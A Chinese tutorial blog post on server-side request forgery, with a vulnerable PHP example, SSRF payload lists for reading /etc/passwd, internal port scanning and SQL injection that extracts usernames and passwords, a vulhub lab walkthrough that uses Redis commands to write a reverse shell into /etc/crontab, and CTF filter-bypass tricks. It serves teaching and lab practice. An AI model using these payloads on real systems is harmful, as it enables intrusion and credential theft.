SSRF服务端请求伪造

news2024/11/25 20:44:28

服务端请求伪造,其实就是攻击者构造恶意请求,服务端发起恶意请求,如果服务端不对用户传递的参数进行严格的过滤和限制,就可能导致服务端请求伪造

上面是百度识图,我们可以传递图片地址,百度识图向图片发起请求,如果请求是恶意的,并且没有进行过滤和验证,就可能导致服务端请求伪造

SSRF漏洞代码示例

<?php
if(isset($_REQUEST['url'])){
	$link = $_REQUEST['url'];
	$fileName = './curled/'.time().".txt";
	$curlObj = curl_init($link);
	$fp = fopen($fileName,'w');
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);
	curl_close($curlObj);
	fclose($fp);
	
	if(getimagesize($fileName)){
		header("Content-Type:image/png");
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}else{
	echo "?url=[url]";
}
?>

SSRF漏洞原理

服务端接受客户端的url地址,并且服务端发送该URL请求

对用户输入的url过滤不严,导致任意url输入

没有对响应的结果进行响应,直接输出

SSRF危害

端口扫描

内网指纹识别

攻击内网应用

读取本地文件

SSRF利用

文件访问

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

端口扫描

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

内网指纹识别

?url=http://127.0.0.1/phpmyadmin/readme

攻击内网web应用

?url=http://127.0.0.1/cms/show.php?
id=-33/*A*/union/*J*/select/*E*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*S*/from/*T*/cms_
users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

SSRF防御

过滤输入

限制协议,仅允许 http 或 https 协议;

限制IP,避免应用被用来获取内网数据,攻击内网;

限制端口,限制请求端口为常用端口。

过滤输出

过滤返回信息,只要不符合要求的,全部过滤;

统一错误信息,让攻击无法对内网信息进行判断。

SSRF 挖掘

分享

转码服务

在线翻译

图片加载与下载

图片、文章收藏功能

未公开的API 实现

SSRF练习

vulhub ssrf漏洞复现

拉取docker环境,拉取需要较长时间

访问http://192.168.142.151:7001/console/login/LoginForm.jsp,这是一个登录界面,但是现在不需要用这个,用这个只是测试环境是否搭建成功

根据提示,访问`http://your-ip:7001/uddiexplorer/`

burp抓包

修改访问127.0.0.1的80端口,发现不能访问

先使用dnslog看是否存在ssrf漏洞

可以看到,确实存在ssrf

首先明确一点,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),我们的目的是通过ssrf攻击内网的redis服务器,如图

ip a查看IP

先用ssrf进行内网端口扫描,

可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回`did not have a valid SOAP content-type`。修改为一个不存在的端口,将会返回`could not connect over HTTP to server`。
 

172.17.0.1

172.18.0.1

172.19.0.1

172.20.0.1

访问.2,发现只有172.20.0.2,访问他的其他端口

发现redis服务开启

发送三条redis命令,将弹shell脚本写入`/etc/crontab`:
 

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

可以看到,计划任务提权成功了,这个漏洞运用了服务端请求伪造,计划任务,还利用了CRLF,即通过换行符来执行多条命令

ctfhub

302跳转bypass

先看一下是否有ssrf漏洞,题目说flag在127.0.0.1的flag.php里,127.0.0.1不行,试了一下localhost可以

内网访问

直接访问127.0.0.1/flag.php就行

伪协议读取文件

URL伪协议有如下这些:
file:///
dict://
sftp://
ldap://
tftp://
gopher://

端口扫描

提示端口在8000到9000,使用bp的intuder模块进行扫描,得到8828端口

访问即可

URLbypass

这题主要考的是url地址解析,简单来说,就是http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容。
因此这个题目要求url must startwith “http://notfound.ctfhub.com”
我们直接构造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
成功得到flag。

数字IP bypass

直接访问发现被禁止,想到可以通过进制转换方式绕过

127.0.0.1进行十六进制编码0x7F000001

DNS重绑定

,dns重绑定的原理题目的附件已经给了,这里需要用一个dns重绑定的网站

rbndr.us dns rebinding service (cmpxchg8b.com)

POST请求

周末再写

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/973630.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux内核源码分析 (7)内核内存布局和堆管理

一、Linux内核内存布局 64位Linux一般使用48位来表示虚拟地址空间&#xff0c;45位表示物理地址。通过命令&#xff1a;cat/proc/cpuinfo。查看Linux内核位数和proc文件系统输出系统软硬件信息如下: lhLH_LINUX:~$ cat /proc/cpuinfo vendor_id : GenuineIntel // CPU制造商 cp…

基于java SpringBoot和Vue uniapp的影楼摄影预约小程序

摘要 今天信息技术的发展很快&#xff0c;其足迹在我们的生活中随处可见。它影响着我们的衣食住行等各种需求。影响也在逐渐增加&#xff0c;逐渐渗透到各行各业&#xff0c;在这种背景下&#xff0c;经过实地考察后&#xff0c;为了让婚纱照管理更加高效方便&#xff0c;我决定…

Java的输入与输出

在Java中&#xff0c;输入和输出是通过标准的输入流&#xff08;System.in&#xff09;和标准的输出流&#xff08;System.out&#xff09;进行处理的。我们可以通过util.Scanner这个类实现输入和输出&#xff0c;以下是一些常用的输入输出函数的介绍 输出&#xff1a; System.…

NFTScan 浏览器正式版上线 2 周年!

NFTScan 成立于 2021 年 4 月份&#xff0c;总部位于香港。在 2021 年的 7 月份&#xff0c;NFTScan 团队对外发布了 NFTScan 浏览器公测版&#xff0c;并在同年的 9 月 4 号&#xff0c;对外发布了 NFTScan 浏览器正式版&#xff0c;同步启用了全球品牌域名&#xff1a;NFTSCA…

深入理解线段树

大家好&#xff0c;我是 方圆。线段树&#xff08;Segment Tree&#xff09; 是常用的维护 区间信息 的数据结构&#xff0c;它可以在 O(logn) 的时间复杂度下实现单点修改、区间修改、区间查询&#xff08;区间求和、区间最大值或区间最小值&#xff09;等操作&#xff0c;常用…

SCS【33】单细胞转录之全自动超快速的细胞类型鉴定 (ScType)

‍ ‍ 单细胞生信分析教程 桓峰基因公众号推出单细胞生信分析教程并配有视频在线教程&#xff0c;目前整理出来的相关教程目录如下&#xff1a; Topic 6. 克隆进化之 Canopy Topic 7. 克隆进化之 Cardelino Topic 8. 克隆进化之 RobustClone SCS【1】今天开启单细胞之旅&#x…

Windows中多线程的基础知识——1互斥对象

目录 1 多线程的基本概念1.1 进程一、程序和进程的概念二、进程组成三、进程地址空间 1.2 线程一、线程组成二、线程运行三、线程创建函数 1.3 多进程与多线程并发一、多进程并发二、多线程并发 2 线程同步2.1 一个经典的线程同步问题2.2 利用互斥对象实现线程同步一、创建互斥…

【英文文章总结】数据管理指南系列:渐进式数据库设计

原文连接&#xff1a;系列https://martinfowler.com/data/https://martinfowler.com/data/ Evolutionary Database Design (martinfowler.com) 架构的进化。如何允许更改架构并轻松迁移现有数据&#xff1f; 如何应对项目的变动 迭代开发&#xff1a;很长一段时间人们把数据…

《人生苦短——我学Python》条件判断->双向选择(if--else)

今天我们来学习双向选择判断。顾名思义&#xff0c;双向就是两种选择选其一&#xff0c;即if----else。如果If的条件不成立&#xff0c;则执行else下的语句&#xff0c;否则执行if下面的语句。显然&#xff0c;它们是互斥的&#xff01;下面就让我们来详细看看吧&#xff01; 文…

FastViT实战:使用FastViT实现图像分类任务(一)

文章目录 摘要安装包安装timm安装 grad-cam安装mmcv 数据增强Cutout和MixupEMA项目结构计算mean和std生成数据集补充一个知识点&#xff1a;torch.jit两种保存方式 摘要 论文翻译&#xff1a;https://wanghao.blog.csdn.net/article/details/132407722?spm1001.2014.3001.550…

国内 11 家通过备案的 AI 大模型产品

国内 11 家通过《生成式人工智能服务管理暂行办法》备案的 AI 大模型产品将陆续上线。 一、北京5家 1、百度的 “文心一言”https://yiyan.baidu.com 2、抖音的 “云雀”&#xff0c;基于云雀大模型开发的 AI 机器人 “豆包” 开始小范围邀请测试。用户可通过手机号、抖音或…

数据结构:栈的实现

1. 栈(Stack) 1.1 栈的概念 栈(Stack)是只允许在一端进行插入或删除操作的线性表.首先栈是一种线性表,但限定这种线性表只能在某一端进行插入和删除操作.进行数据插入和删除操作的一端叫栈顶,另一端称为栈底.栈中的元素遵循后进先出LIFO(Last In First Out)的原则 压栈:栈的插…

【论文投稿】图形学论文投稿去向

如果您想投稿关于网格几何处理的论文&#xff0c;以下是一些知名的学术会议和期刊&#xff0c;您可以考虑将您的研究成果提交到这些地方&#xff1a; 学术会议&#xff1a; SIGGRAPH&#xff1a;SIGGRAPH会议是计算机图形学领域最重要的会议之一&#xff0c;接收与图形学和交互…

力扣:86. 分隔链表(Python3)

题目&#xff1a; 给你一个链表的头节点 head 和一个特定值 x &#xff0c;请你对链表进行分隔&#xff0c;使得所有 小于 x 的节点都出现在 大于或等于 x 的节点之前。 你应当 保留 两个分区中每个节点的初始相对位置。 来源&#xff1a;力扣&#xff08;LeetCode&#xff09;…

2023-9-4 快速幂

题目链接&#xff1a;快速幂 #include <iostream> #include <algorithm>using namespace std;typedef long long LL;LL qmi(int a, int k, int p) {LL res 1;while(k){if(k & 1) res (LL) res * a % p;k >> 1;a (LL) a * a % p;}return res; }int mai…

羊城杯2023 部分wp

目录 D0nt pl4y g4m3!!!(php7.4.21源码泄露&pop链构造) Serpent(pickle反序列化&python提权) ArkNights(环境变量泄露) Ez_misc(win10sinpping_tools恢复) D0nt pl4y g4m3!!!(php7.4.21源码泄露&pop链构造) 访问/p0p.php 跳转到了游戏界面 应该是存在302跳转…

如何高效的解析Json?

Json介绍 Json是一种数据格式&#xff0c;广泛应用在需要数据交互的场景Json由键值对组成每一个键值对的key是字符串类型每一个键值对的value是值类型(boo1值数字值字符串值)Array类型object类型Json灵活性他可以不断嵌套&#xff0c;数组的每个元素还可以是数组或者键值对键值…

Kubernetes v1.25.0集群搭建实战案例(新版本含Docker容器运行时)

k8s 1.24之后弃用了docker容器运行时&#xff0c;安装方式上有所不同&#xff0c;网上找到的大多数都是1.24之前的版本。所以把自己搭建的完整过程记录下来供大家参考。 一、前言 k8s的部署方式有多种kubeadm、kind、minikube、Kubespray、kops等本文介绍官方推荐的kubeadm的…

Python入门学习12

一、Python包 什么是Python包 从物理上看&#xff0c;包就是一个文件夹&#xff0c;在该文件夹下包含了一个 __init__.py 文件&#xff0c;该文件夹可用于包含多个模块文件。从逻辑上看&#xff0c;包的本质依然是模块 包的作用: 当我们的模块文件越来越多时,包可以帮助我们管…

arco-design-vue的tree组件实现右击事件

arco-design-vue的tree组件实现右击事件 业务中需要使用到tree组件&#xff0c;并且还要对tree实现自定义鼠标右击事件。在arco-design-vue的文档中&#xff0c;可以明确的看到&#xff0c;tree组件并没有右击事件的相关回调&#xff0c;那要如何实现呢&#xff1f;&#xff1f…